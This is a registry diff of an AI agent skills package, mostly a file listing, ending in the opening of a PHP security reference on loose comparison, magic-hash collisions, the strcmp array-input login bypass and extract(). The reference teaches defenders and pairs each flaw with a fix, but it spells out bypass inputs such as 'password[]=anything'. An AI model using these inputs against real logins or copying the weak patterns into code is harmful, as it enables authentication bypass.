@elizaos/skills 2.0.0-alpha.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +126 -0
- package/package.json +53 -0
- package/skills/1password/SKILL.md +70 -0
- package/skills/1password/references/cli-examples.md +29 -0
- package/skills/1password/references/get-started.md +17 -0
- package/skills/apple-notes/SKILL.md +77 -0
- package/skills/apple-reminders/SKILL.md +96 -0
- package/skills/bear-notes/SKILL.md +107 -0
- package/skills/bird/SKILL.md +224 -0
- package/skills/blogwatcher/SKILL.md +69 -0
- package/skills/blucli/SKILL.md +47 -0
- package/skills/bluebubbles/SKILL.md +131 -0
- package/skills/camsnap/SKILL.md +45 -0
- package/skills/canvas/SKILL.md +203 -0
- package/skills/clawhub/SKILL.md +77 -0
- package/skills/coding-agent/SKILL.md +284 -0
- package/skills/discord/SKILL.md +578 -0
- package/skills/eightctl/SKILL.md +50 -0
- package/skills/food-order/SKILL.md +48 -0
- package/skills/gemini/SKILL.md +43 -0
- package/skills/gifgrep/SKILL.md +79 -0
- package/skills/github/SKILL.md +77 -0
- package/skills/gog/SKILL.md +116 -0
- package/skills/goplaces/SKILL.md +52 -0
- package/skills/healthcheck/SKILL.md +245 -0
- package/skills/himalaya/SKILL.md +257 -0
- package/skills/himalaya/references/configuration.md +184 -0
- package/skills/himalaya/references/message-composition.md +199 -0
- package/skills/imsg/SKILL.md +74 -0
- package/skills/local-places/SERVER_README.md +101 -0
- package/skills/local-places/SKILL.md +102 -0
- package/skills/local-places/pyproject.toml +21 -0
- package/skills/local-places/src/local_places/__init__.py +2 -0
- package/skills/local-places/src/local_places/google_places.py +314 -0
- package/skills/local-places/src/local_places/main.py +65 -0
- package/skills/local-places/src/local_places/schemas.py +107 -0
- package/skills/mcporter/SKILL.md +61 -0
- package/skills/model-usage/SKILL.md +69 -0
- package/skills/model-usage/references/codexbar-cli.md +33 -0
- package/skills/model-usage/scripts/model_usage.py +310 -0
- package/skills/nano-banana-pro/SKILL.md +58 -0
- package/skills/nano-banana-pro/scripts/generate_image.py +184 -0
- package/skills/nano-pdf/SKILL.md +38 -0
- package/skills/notion/SKILL.md +172 -0
- package/skills/obsidian/SKILL.md +81 -0
- package/skills/openai-image-gen/SKILL.md +89 -0
- package/skills/openai-image-gen/scripts/gen.py +240 -0
- package/skills/openai-whisper/SKILL.md +38 -0
- package/skills/openai-whisper-api/SKILL.md +52 -0
- package/skills/openai-whisper-api/scripts/transcribe.sh +85 -0
- package/skills/openhue/SKILL.md +51 -0
- package/skills/oracle/SKILL.md +125 -0
- package/skills/ordercli/SKILL.md +78 -0
- package/skills/peekaboo/SKILL.md +190 -0
- package/skills/sag/SKILL.md +87 -0
- package/skills/security-ask-questions-if-underspecified/.claude-plugin/plugin.json +10 -0
- package/skills/security-ask-questions-if-underspecified/README.md +24 -0
- package/skills/security-ask-questions-if-underspecified/skills/ask-questions-if-underspecified/SKILL.md +85 -0
- package/skills/security-audit-context-building/.claude-plugin/plugin.json +10 -0
- package/skills/security-audit-context-building/README.md +58 -0
- package/skills/security-audit-context-building/commands/audit-context.md +21 -0
- package/skills/security-audit-context-building/skills/audit-context-building/SKILL.md +297 -0
- package/skills/security-audit-context-building/skills/audit-context-building/resources/COMPLETENESS_CHECKLIST.md +47 -0
- package/skills/security-audit-context-building/skills/audit-context-building/resources/FUNCTION_MICRO_ANALYSIS_EXAMPLE.md +355 -0
- package/skills/security-audit-context-building/skills/audit-context-building/resources/OUTPUT_REQUIREMENTS.md +71 -0
- package/skills/security-building-secure-contracts/.claude-plugin/plugin.json +10 -0
- package/skills/security-building-secure-contracts/README.md +241 -0
- package/skills/security-building-secure-contracts/skills/algorand-vulnerability-scanner/SKILL.md +284 -0
- package/skills/security-building-secure-contracts/skills/algorand-vulnerability-scanner/resources/VULNERABILITY_PATTERNS.md +405 -0
- package/skills/security-building-secure-contracts/skills/audit-prep-assistant/SKILL.md +409 -0
- package/skills/security-building-secure-contracts/skills/cairo-vulnerability-scanner/SKILL.md +329 -0
- package/skills/security-building-secure-contracts/skills/cairo-vulnerability-scanner/resources/VULNERABILITY_PATTERNS.md +722 -0
- package/skills/security-building-secure-contracts/skills/code-maturity-assessor/SKILL.md +218 -0
- package/skills/security-building-secure-contracts/skills/code-maturity-assessor/resources/ASSESSMENT_CRITERIA.md +355 -0
- package/skills/security-building-secure-contracts/skills/code-maturity-assessor/resources/EXAMPLE_REPORT.md +248 -0
- package/skills/security-building-secure-contracts/skills/code-maturity-assessor/resources/REPORT_FORMAT.md +33 -0
- package/skills/security-building-secure-contracts/skills/cosmos-vulnerability-scanner/SKILL.md +334 -0
- package/skills/security-building-secure-contracts/skills/cosmos-vulnerability-scanner/resources/VULNERABILITY_PATTERNS.md +740 -0
- package/skills/security-building-secure-contracts/skills/guidelines-advisor/SKILL.md +252 -0
- package/skills/security-building-secure-contracts/skills/guidelines-advisor/resources/ASSESSMENT_AREAS.md +329 -0
- package/skills/security-building-secure-contracts/skills/guidelines-advisor/resources/DELIVERABLES.md +118 -0
- package/skills/security-building-secure-contracts/skills/guidelines-advisor/resources/EXAMPLE_REPORT.md +298 -0
- package/skills/security-building-secure-contracts/skills/secure-workflow-guide/SKILL.md +161 -0
- package/skills/security-building-secure-contracts/skills/secure-workflow-guide/resources/EXAMPLE_REPORT.md +279 -0
- package/skills/security-building-secure-contracts/skills/secure-workflow-guide/resources/WORKFLOW_STEPS.md +132 -0
- package/skills/security-building-secure-contracts/skills/solana-vulnerability-scanner/SKILL.md +389 -0
- package/skills/security-building-secure-contracts/skills/solana-vulnerability-scanner/resources/VULNERABILITY_PATTERNS.md +669 -0
- package/skills/security-building-secure-contracts/skills/substrate-vulnerability-scanner/SKILL.md +298 -0
- package/skills/security-building-secure-contracts/skills/substrate-vulnerability-scanner/resources/VULNERABILITY_PATTERNS.md +791 -0
- package/skills/security-building-secure-contracts/skills/token-integration-analyzer/SKILL.md +362 -0
- package/skills/security-building-secure-contracts/skills/token-integration-analyzer/resources/ASSESSMENT_CATEGORIES.md +571 -0
- package/skills/security-building-secure-contracts/skills/token-integration-analyzer/resources/REPORT_TEMPLATES.md +141 -0
- package/skills/security-building-secure-contracts/skills/ton-vulnerability-scanner/SKILL.md +388 -0
- package/skills/security-building-secure-contracts/skills/ton-vulnerability-scanner/resources/VULNERABILITY_PATTERNS.md +595 -0
- package/skills/security-burpsuite-project-parser/.claude-plugin/plugin.json +10 -0
- package/skills/security-burpsuite-project-parser/README.md +103 -0
- package/skills/security-burpsuite-project-parser/commands/burp-search.md +18 -0
- package/skills/security-burpsuite-project-parser/skills/SKILL.md +358 -0
- package/skills/security-burpsuite-project-parser/skills/scripts/burp-search.sh +99 -0
- package/skills/security-claude-in-chrome-troubleshooting/.claude-plugin/plugin.json +8 -0
- package/skills/security-claude-in-chrome-troubleshooting/README.md +31 -0
- package/skills/security-claude-in-chrome-troubleshooting/skills/claude-in-chrome-troubleshooting/SKILL.md +251 -0
- package/skills/security-constant-time-analysis/.claude-plugin/plugin.json +9 -0
- package/skills/security-constant-time-analysis/README.md +381 -0
- package/skills/security-constant-time-analysis/commands/ct-check.md +20 -0
- package/skills/security-constant-time-analysis/ct_analyzer/__init__.py +49 -0
- package/skills/security-constant-time-analysis/ct_analyzer/analyzer.py +1284 -0
- package/skills/security-constant-time-analysis/ct_analyzer/script_analyzers.py +3081 -0
- package/skills/security-constant-time-analysis/ct_analyzer/tests/__init__.py +1 -0
- package/skills/security-constant-time-analysis/ct_analyzer/tests/test_analyzer.py +1397 -0
- package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/bn_excerpt.js +205 -0
- package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/decompose_constant_time.c +181 -0
- package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/decompose_vulnerable.c +74 -0
- package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/decompose_vulnerable.go +78 -0
- package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/decompose_vulnerable.rs +92 -0
- package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/vulnerable.cs +174 -0
- package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/vulnerable.java +161 -0
- package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/vulnerable.kt +181 -0
- package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/vulnerable.php +140 -0
- package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/vulnerable.py +252 -0
- package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/vulnerable.rb +188 -0
- package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/vulnerable.swift +199 -0
- package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/vulnerable.ts +154 -0
- package/skills/security-constant-time-analysis/pyproject.toml +52 -0
- package/skills/security-constant-time-analysis/skills/constant-time-analysis/README.md +90 -0
- package/skills/security-constant-time-analysis/skills/constant-time-analysis/SKILL.md +219 -0
- package/skills/security-constant-time-analysis/skills/constant-time-analysis/references/compiled.md +129 -0
- package/skills/security-constant-time-analysis/skills/constant-time-analysis/references/javascript.md +136 -0
- package/skills/security-constant-time-analysis/skills/constant-time-analysis/references/kotlin.md +252 -0
- package/skills/security-constant-time-analysis/skills/constant-time-analysis/references/php.md +172 -0
- package/skills/security-constant-time-analysis/skills/constant-time-analysis/references/python.md +179 -0
- package/skills/security-constant-time-analysis/skills/constant-time-analysis/references/ruby.md +198 -0
- package/skills/security-constant-time-analysis/skills/constant-time-analysis/references/swift.md +288 -0
- package/skills/security-constant-time-analysis/skills/constant-time-analysis/references/vm-compiled.md +354 -0
- package/skills/security-constant-time-analysis/uv.lock +8 -0
- package/skills/security-culture-index/.claude-plugin/plugin.json +8 -0
- package/skills/security-culture-index/README.md +79 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/SKILL.md +293 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/references/anti-patterns.md +255 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/references/conversation-starters.md +408 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/references/interview-trait-signals.md +253 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/references/motivators.md +158 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/references/patterns-archetypes.md +147 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/references/primary-traits.md +307 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/references/secondary-traits.md +228 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/references/team-composition.md +148 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/scripts/check_deps.py +108 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/scripts/culture_index/__init__.py +20 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/scripts/culture_index/constants.py +122 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/scripts/culture_index/extract.py +187 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/scripts/culture_index/models.py +16 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/scripts/culture_index/opencv_extractor.py +520 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/scripts/extract_pdf.py +237 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/scripts/pyproject.toml +18 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/templates/burnout-report.md +113 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/templates/comparison-report.md +103 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/templates/hiring-profile.md +127 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/templates/individual-report.md +85 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/templates/predicted-profile.md +165 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/templates/team-report.md +109 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/workflows/analyze-team.md +188 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/workflows/coach-manager.md +267 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/workflows/compare-profiles.md +188 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/workflows/define-hiring-profile.md +220 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/workflows/detect-burnout.md +206 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/workflows/extract-from-pdf.md +121 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/workflows/interpret-individual.md +183 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/workflows/interview-debrief.md +234 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/workflows/mediate-conflict.md +306 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/workflows/plan-onboarding.md +322 -0
- package/skills/security-culture-index/skills/interpreting-culture-index/workflows/predict-from-interview.md +250 -0
- package/skills/security-differential-review/.claude-plugin/plugin.json +10 -0
- package/skills/security-differential-review/README.md +109 -0
- package/skills/security-differential-review/commands/diff-review.md +21 -0
- package/skills/security-differential-review/skills/differential-review/SKILL.md +220 -0
- package/skills/security-differential-review/skills/differential-review/adversarial.md +203 -0
- package/skills/security-differential-review/skills/differential-review/methodology.md +234 -0
- package/skills/security-differential-review/skills/differential-review/patterns.md +300 -0
- package/skills/security-differential-review/skills/differential-review/reporting.md +369 -0
- package/skills/security-dwarf-expert/.claude-plugin/plugin.json +10 -0
- package/skills/security-dwarf-expert/README.md +38 -0
- package/skills/security-dwarf-expert/skills/dwarf-expert/SKILL.md +93 -0
- package/skills/security-dwarf-expert/skills/dwarf-expert/reference/coding.md +31 -0
- package/skills/security-dwarf-expert/skills/dwarf-expert/reference/dwarfdump.md +50 -0
- package/skills/security-dwarf-expert/skills/dwarf-expert/reference/readelf.md +8 -0
- package/skills/security-entry-point-analyzer/.claude-plugin/plugin.json +10 -0
- package/skills/security-entry-point-analyzer/README.md +74 -0
- package/skills/security-entry-point-analyzer/commands/entry-points.md +18 -0
- package/skills/security-entry-point-analyzer/skills/entry-point-analyzer/SKILL.md +251 -0
- package/skills/security-entry-point-analyzer/skills/entry-point-analyzer/references/cosmwasm.md +182 -0
- package/skills/security-entry-point-analyzer/skills/entry-point-analyzer/references/move-aptos.md +107 -0
- package/skills/security-entry-point-analyzer/skills/entry-point-analyzer/references/move-sui.md +87 -0
- package/skills/security-entry-point-analyzer/skills/entry-point-analyzer/references/solana.md +155 -0
- package/skills/security-entry-point-analyzer/skills/entry-point-analyzer/references/solidity.md +135 -0
- package/skills/security-entry-point-analyzer/skills/entry-point-analyzer/references/ton.md +185 -0
- package/skills/security-entry-point-analyzer/skills/entry-point-analyzer/references/vyper.md +141 -0
- package/skills/security-firebase-apk-scanner/.claude-plugin/plugin.json +10 -0
- package/skills/security-firebase-apk-scanner/README.md +85 -0
- package/skills/security-firebase-apk-scanner/commands/scan-apk.md +18 -0
- package/skills/security-firebase-apk-scanner/scanner.sh +1408 -0
- package/skills/security-firebase-apk-scanner/skills/firebase-apk-scanner/SKILL.md +197 -0
- package/skills/security-firebase-apk-scanner/skills/firebase-apk-scanner/references/vulnerabilities.md +803 -0
- package/skills/security-fix-review/.claude-plugin/plugin.json +13 -0
- package/skills/security-fix-review/README.md +118 -0
- package/skills/security-fix-review/commands/fix-review.md +24 -0
- package/skills/security-fix-review/skills/fix-review/SKILL.md +264 -0
- package/skills/security-fix-review/skills/fix-review/references/bug-detection.md +408 -0
- package/skills/security-fix-review/skills/fix-review/references/finding-matching.md +298 -0
- package/skills/security-fix-review/skills/fix-review/references/report-parsing.md +398 -0
- package/skills/security-insecure-defaults/.claude-plugin/plugin.json +10 -0
- package/skills/security-insecure-defaults/README.md +45 -0
- package/skills/security-insecure-defaults/skills/insecure-defaults/SKILL.md +117 -0
- package/skills/security-insecure-defaults/skills/insecure-defaults/references/examples.md +409 -0
- package/skills/security-modern-python/.claude-plugin/plugin.json +10 -0
- package/skills/security-modern-python/README.md +58 -0
- package/skills/security-modern-python/hooks/hooks.json +16 -0
- package/skills/security-modern-python/hooks/intercept-legacy-python.bats +388 -0
- package/skills/security-modern-python/hooks/intercept-legacy-python.sh +109 -0
- package/skills/security-modern-python/hooks/test_helper.bash +75 -0
- package/skills/security-modern-python/skills/modern-python/SKILL.md +333 -0
- package/skills/security-modern-python/skills/modern-python/references/dependabot.md +43 -0
- package/skills/security-modern-python/skills/modern-python/references/migration-checklist.md +141 -0
- package/skills/security-modern-python/skills/modern-python/references/pep723-scripts.md +259 -0
- package/skills/security-modern-python/skills/modern-python/references/prek.md +211 -0
- package/skills/security-modern-python/skills/modern-python/references/pyproject.md +254 -0
- package/skills/security-modern-python/skills/modern-python/references/ruff-config.md +240 -0
- package/skills/security-modern-python/skills/modern-python/references/security-setup.md +255 -0
- package/skills/security-modern-python/skills/modern-python/references/testing.md +284 -0
- package/skills/security-modern-python/skills/modern-python/references/uv-commands.md +200 -0
- package/skills/security-modern-python/skills/modern-python/templates/dependabot.yml +36 -0
- package/skills/security-modern-python/skills/modern-python/templates/pre-commit-config.yaml +66 -0
- package/skills/security-property-based-testing/.claude-plugin/plugin.json +9 -0
- package/skills/security-property-based-testing/README.md +47 -0
- package/skills/security-property-based-testing/skills/property-based-testing/README.md +88 -0
- package/skills/security-property-based-testing/skills/property-based-testing/SKILL.md +109 -0
- package/skills/security-property-based-testing/skills/property-based-testing/references/design.md +191 -0
- package/skills/security-property-based-testing/skills/property-based-testing/references/generating.md +200 -0
- package/skills/security-property-based-testing/skills/property-based-testing/references/libraries.md +130 -0
- package/skills/security-property-based-testing/skills/property-based-testing/references/refactoring.md +181 -0
- package/skills/security-property-based-testing/skills/property-based-testing/references/reviewing.md +209 -0
- package/skills/security-property-based-testing/skills/property-based-testing/references/strategies.md +124 -0
- package/skills/semgrep-rule-creator/.claude-plugin/plugin.json +8 -0
- package/skills/semgrep-rule-creator/README.md +43 -0
- package/skills/semgrep-rule-creator/commands/semgrep-rule.md +26 -0
- package/skills/semgrep-rule-creator/skills/semgrep-rule-creator/SKILL.md +168 -0
- package/skills/semgrep-rule-creator/skills/semgrep-rule-creator/references/quick-reference.md +203 -0
- package/skills/semgrep-rule-creator/skills/semgrep-rule-creator/references/workflow.md +240 -0
- package/skills/semgrep-rule-variant-creator/.claude-plugin/plugin.json +9 -0
- package/skills/semgrep-rule-variant-creator/README.md +86 -0
- package/skills/semgrep-rule-variant-creator/skills/semgrep-rule-variant-creator/SKILL.md +205 -0
- package/skills/semgrep-rule-variant-creator/skills/semgrep-rule-variant-creator/references/applicability-analysis.md +250 -0
- package/skills/semgrep-rule-variant-creator/skills/semgrep-rule-variant-creator/references/language-syntax-guide.md +324 -0
- package/skills/semgrep-rule-variant-creator/skills/semgrep-rule-variant-creator/references/workflow.md +518 -0
- package/skills/session-logs/SKILL.md +115 -0
- package/skills/sharp-edges/.claude-plugin/plugin.json +10 -0
- package/skills/sharp-edges/README.md +48 -0
- package/skills/sharp-edges/skills/sharp-edges/SKILL.md +292 -0
- package/skills/sharp-edges/skills/sharp-edges/references/auth-patterns.md +252 -0
- package/skills/sharp-edges/skills/sharp-edges/references/case-studies.md +274 -0
- package/skills/sharp-edges/skills/sharp-edges/references/config-patterns.md +333 -0
- package/skills/sharp-edges/skills/sharp-edges/references/crypto-apis.md +190 -0
- package/skills/sharp-edges/skills/sharp-edges/references/lang-c.md +205 -0
- package/skills/sharp-edges/skills/sharp-edges/references/lang-csharp.md +285 -0
- package/skills/sharp-edges/skills/sharp-edges/references/lang-go.md +270 -0
- package/skills/sharp-edges/skills/sharp-edges/references/lang-java.md +263 -0
- package/skills/sharp-edges/skills/sharp-edges/references/lang-javascript.md +269 -0
- package/skills/sharp-edges/skills/sharp-edges/references/lang-kotlin.md +265 -0
- package/skills/sharp-edges/skills/sharp-edges/references/lang-php.md +245 -0
- package/skills/sharp-edges/skills/sharp-edges/references/lang-python.md +274 -0
- package/skills/sharp-edges/skills/sharp-edges/references/lang-ruby.md +273 -0
- package/skills/sharp-edges/skills/sharp-edges/references/lang-rust.md +272 -0
- package/skills/sharp-edges/skills/sharp-edges/references/lang-swift.md +287 -0
- package/skills/sharp-edges/skills/sharp-edges/references/language-specific.md +588 -0
- package/skills/sherpa-onnx-tts/SKILL.md +103 -0
- package/skills/sherpa-onnx-tts/bin/sherpa-onnx-tts +178 -0
- package/skills/skill-creator/SKILL.md +370 -0
- package/skills/skill-creator/license.txt +202 -0
- package/skills/skill-creator/scripts/init_skill.py +378 -0
- package/skills/skill-creator/scripts/package_skill.py +111 -0
- package/skills/skill-creator/scripts/quick_validate.py +101 -0
- package/skills/slack/SKILL.md +144 -0
- package/skills/songsee/SKILL.md +49 -0
- package/skills/sonoscli/SKILL.md +46 -0
- package/skills/spec-to-code-compliance/.claude-plugin/plugin.json +10 -0
- package/skills/spec-to-code-compliance/README.md +67 -0
- package/skills/spec-to-code-compliance/commands/spec-compliance.md +22 -0
- package/skills/spec-to-code-compliance/skills/spec-to-code-compliance/SKILL.md +349 -0
- package/skills/spec-to-code-compliance/skills/spec-to-code-compliance/resources/COMPLETENESS_CHECKLIST.md +69 -0
- package/skills/spec-to-code-compliance/skills/spec-to-code-compliance/resources/IR_EXAMPLES.md +417 -0
- package/skills/spec-to-code-compliance/skills/spec-to-code-compliance/resources/OUTPUT_REQUIREMENTS.md +105 -0
- package/skills/spotify-player/SKILL.md +64 -0
- package/skills/static-analysis/.claude-plugin/plugin.json +8 -0
- package/skills/static-analysis/README.md +59 -0
- package/skills/static-analysis/skills/codeql/SKILL.md +315 -0
- package/skills/static-analysis/skills/sarif-parsing/SKILL.md +479 -0
- package/skills/static-analysis/skills/sarif-parsing/resources/jq-queries.md +162 -0
- package/skills/static-analysis/skills/sarif-parsing/resources/sarif_helpers.py +331 -0
- package/skills/static-analysis/skills/semgrep/SKILL.md +337 -0
- package/skills/summarize/SKILL.md +87 -0
- package/skills/testing-handbook-skills/.claude-plugin/plugin.json +8 -0
- package/skills/testing-handbook-skills/README.md +241 -0
- package/skills/testing-handbook-skills/scripts/pyproject.toml +8 -0
- package/skills/testing-handbook-skills/scripts/validate-skills.py +657 -0
- package/skills/testing-handbook-skills/skills/address-sanitizer/SKILL.md +341 -0
- package/skills/testing-handbook-skills/skills/aflpp/SKILL.md +640 -0
- package/skills/testing-handbook-skills/skills/atheris/SKILL.md +515 -0
- package/skills/testing-handbook-skills/skills/cargo-fuzz/SKILL.md +454 -0
- package/skills/testing-handbook-skills/skills/codeql/SKILL.md +549 -0
- package/skills/testing-handbook-skills/skills/constant-time-testing/SKILL.md +507 -0
- package/skills/testing-handbook-skills/skills/coverage-analysis/SKILL.md +607 -0
- package/skills/testing-handbook-skills/skills/fuzzing-dictionary/SKILL.md +297 -0
- package/skills/testing-handbook-skills/skills/fuzzing-obstacles/SKILL.md +426 -0
- package/skills/testing-handbook-skills/skills/harness-writing/SKILL.md +614 -0
- package/skills/testing-handbook-skills/skills/libafl/SKILL.md +625 -0
- package/skills/testing-handbook-skills/skills/libfuzzer/SKILL.md +795 -0
- package/skills/testing-handbook-skills/skills/ossfuzz/SKILL.md +426 -0
- package/skills/testing-handbook-skills/skills/ruzzy/SKILL.md +443 -0
- package/skills/testing-handbook-skills/skills/semgrep/SKILL.md +601 -0
- package/skills/testing-handbook-skills/skills/testing-handbook-generator/SKILL.md +372 -0
- package/skills/testing-handbook-skills/skills/testing-handbook-generator/agent-prompt.md +280 -0
- package/skills/testing-handbook-skills/skills/testing-handbook-generator/discovery.md +452 -0
- package/skills/testing-handbook-skills/skills/testing-handbook-generator/templates/domain-skill.md +504 -0
- package/skills/testing-handbook-skills/skills/testing-handbook-generator/templates/fuzzer-skill.md +454 -0
- package/skills/testing-handbook-skills/skills/testing-handbook-generator/templates/technique-skill.md +527 -0
- package/skills/testing-handbook-skills/skills/testing-handbook-generator/templates/tool-skill.md +366 -0
- package/skills/testing-handbook-skills/skills/testing-handbook-generator/testing.md +482 -0
- package/skills/testing-handbook-skills/skills/wycheproof/SKILL.md +533 -0
- package/skills/things-mac/SKILL.md +86 -0
- package/skills/tmux/SKILL.md +135 -0
- package/skills/tmux/scripts/find-sessions.sh +112 -0
- package/skills/tmux/scripts/wait-for-text.sh +83 -0
- package/skills/trello/SKILL.md +95 -0
- package/skills/variant-analysis/.claude-plugin/plugin.json +8 -0
- package/skills/variant-analysis/README.md +41 -0
- package/skills/variant-analysis/commands/variants.md +23 -0
- package/skills/variant-analysis/skills/variant-analysis/METHODOLOGY.md +327 -0
- package/skills/variant-analysis/skills/variant-analysis/SKILL.md +142 -0
- package/skills/variant-analysis/skills/variant-analysis/resources/codeql/cpp.ql +119 -0
- package/skills/variant-analysis/skills/variant-analysis/resources/codeql/go.ql +69 -0
- package/skills/variant-analysis/skills/variant-analysis/resources/codeql/java.ql +71 -0
- package/skills/variant-analysis/skills/variant-analysis/resources/codeql/javascript.ql +63 -0
- package/skills/variant-analysis/skills/variant-analysis/resources/codeql/python.ql +80 -0
- package/skills/variant-analysis/skills/variant-analysis/resources/semgrep/cpp.yaml +98 -0
- package/skills/variant-analysis/skills/variant-analysis/resources/semgrep/go.yaml +63 -0
- package/skills/variant-analysis/skills/variant-analysis/resources/semgrep/java.yaml +61 -0
- package/skills/variant-analysis/skills/variant-analysis/resources/semgrep/javascript.yaml +60 -0
- package/skills/variant-analysis/skills/variant-analysis/resources/semgrep/python.yaml +72 -0
- package/skills/variant-analysis/skills/variant-analysis/resources/variant-report-template.md +75 -0
- package/skills/video-frames/SKILL.md +46 -0
- package/skills/video-frames/scripts/frame.sh +81 -0
- package/skills/voice-call/SKILL.md +45 -0
- package/skills/wacli/SKILL.md +72 -0
- package/skills/weather/SKILL.md +54 -0
- package/skills/yara-authoring/.claude-plugin/plugin.json +9 -0
- package/skills/yara-authoring/README.md +131 -0
- package/skills/yara-authoring/skills/yara-rule-authoring/SKILL.md +645 -0
- package/skills/yara-authoring/skills/yara-rule-authoring/examples/MAL_Mac_ProtonRAT_Jan25.yar +99 -0
- package/skills/yara-authoring/skills/yara-rule-authoring/examples/MAL_NPM_SupplyChain_Jan25.yar +170 -0
- package/skills/yara-authoring/skills/yara-rule-authoring/examples/MAL_Win_Remcos_Jan25.yar +103 -0
- package/skills/yara-authoring/skills/yara-rule-authoring/examples/SUSP_CRX_SuspiciousPermissions.yar +134 -0
- package/skills/yara-authoring/skills/yara-rule-authoring/examples/SUSP_JS_Obfuscation_Jan25.yar +185 -0
- package/skills/yara-authoring/skills/yara-rule-authoring/references/crx-module.md +214 -0
- package/skills/yara-authoring/skills/yara-rule-authoring/references/dex-module.md +383 -0
- package/skills/yara-authoring/skills/yara-rule-authoring/references/performance.md +333 -0
- package/skills/yara-authoring/skills/yara-rule-authoring/references/strings.md +433 -0
- package/skills/yara-authoring/skills/yara-rule-authoring/references/style-guide.md +257 -0
- package/skills/yara-authoring/skills/yara-rule-authoring/references/testing.md +399 -0
- package/skills/yara-authoring/skills/yara-rule-authoring/scripts/atom_analyzer.py +526 -0
- package/skills/yara-authoring/skills/yara-rule-authoring/scripts/pyproject.toml +25 -0
- package/skills/yara-authoring/skills/yara-rule-authoring/scripts/yara_lint.py +631 -0
- package/skills/yara-authoring/skills/yara-rule-authoring/workflows/rule-development.md +493 -0
|
@@ -0,0 +1,245 @@
|
|
|
1
|
+
# PHP Sharp Edges
|
|
2
|
+
|
|
3
|
+
## Type Juggling
|
|
4
|
+
|
|
5
|
+
```php
|
|
6
|
+
// DANGEROUS: Loose comparison (==) does type coercion
|
|
7
|
+
"0e123" == "0e456" // TRUE - both parsed as 0 (scientific notation)
|
|
8
|
+
"0" == false // TRUE
|
|
9
|
+
"" == false // TRUE
|
|
10
|
+
"" == 0 // TRUE (in PHP < 8)
|
|
11
|
+
[] == false // TRUE
|
|
12
|
+
null == false // TRUE
|
|
13
|
+
|
|
14
|
+
// Magic hash vulnerability
|
|
15
|
+
md5("240610708") = "0e462097431906509019562988736854"
|
|
16
|
+
md5("QNKCDZO") = "0e830400451993494058024219903391"
|
|
17
|
+
md5("240610708") == md5("QNKCDZO") // TRUE!
|
|
18
|
+
|
|
19
|
+
// Both start with "0e" followed by digits = parsed as 0.0
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Fix**: Use strict comparison `===`:
|
|
23
|
+
```php
|
|
24
|
+
"0e123" === "0e456" // FALSE
|
|
25
|
+
$hash1 === $hash2 // Compares actual strings
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
## strcmp Returns NULL on Error
|
|
29
|
+
|
|
30
|
+
```php
|
|
31
|
+
// DANGEROUS: strcmp type confusion
|
|
32
|
+
if (strcmp($_POST['password'], $stored_password) == 0) {
|
|
33
|
+
authenticate();
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
// Attacker sends: password[]=anything (array instead of string)
|
|
37
|
+
strcmp(array(), "password") // Returns NULL, not -1 or 1
|
|
38
|
+
|
|
39
|
+
// NULL == 0 is TRUE in PHP!
|
|
40
|
+
// Authentication bypassed!
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
**Fix**: Validate input type and use `===`:
|
|
44
|
+
```php
|
|
45
|
+
if (is_string($_POST['password']) &&
|
|
46
|
+
strcmp($_POST['password'], $stored_password) === 0) {
|
|
47
|
+
authenticate();
|
|
48
|
+
}
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
## Variable Variables and Extract
|
|
52
|
+
|
|
53
|
+
```php
|
|
54
|
+
// DANGEROUS: Variable variables
|
|
55
|
+
$name = $_GET['name']; // "isAdmin"
|
|
56
|
+
$$name = $_GET['value']; // "true"
|
|
57
|
+
// Creates $isAdmin = "true"
|
|
58
|
+
|
|
59
|
+
// DANGEROUS: extract() creates variables from array
|
|
60
|
+
extract($_POST); // Every POST param becomes a variable!
|
|
61
|
+
